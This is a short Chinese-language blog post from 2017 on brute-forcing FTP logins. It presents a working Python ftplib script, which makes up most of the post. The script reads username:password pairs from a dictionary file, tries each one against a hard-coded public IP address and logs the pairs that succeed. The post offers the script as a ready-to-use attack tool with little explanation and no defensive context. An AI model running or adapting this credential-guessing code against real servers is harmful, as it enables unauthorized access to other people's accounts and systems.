暴力破解FTP伺服器使用者名稱密碼

古道西風瘦馬VIP發表於2017-11-02
FTP伺服器密碼
暴力破解FTP伺服器使用者名稱密碼
破解

今天的例子很簡單，就是用python的FTPLIB模組，登陸ftp伺服器。並嘗試使用者名稱和密碼。

大概的邏輯是，假設遠端主機上有FTP伺服器，我們使用使用者和密碼檔案，不斷的嘗試並登陸遠端ftp伺服器，如果正確，列印日誌。指令碼很簡單，主要如下：


#!/usr/bin/python
#coding:utf-8
import ftplib
import logging
import logging.config
filename=''
logging.config.fileConfig('./logconfig.ini')
__log = logging.getLogger('product')

def ftpconn(host,filename):
    fp = open(filename,'r')
    for line in fp.readlines():
        __log.debug(line)
        if not line.strip('\r').strip('\n'):
            __log.debug("遍歷完畢，指令碼退出")
            break;
        loginname = line.split(':')[0]
        loginpwd = line.split(':')[1].strip('\r').strip('\n')
        try:
            ftpconn = ftplib.FTP(host,timeout=2)
            ftpconn.login(loginname, loginpwd)
            __log.debug("%s login sucess",host)
            ftpconn.quit()
            #return True
        except Exception as e:
            __log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))
            #return False
def main():
    global filename
    filename = 'pwddict.txt'
    ftpconn('166.111.174.33',filename)
if __name__ == '__main__':
    main()


相關文章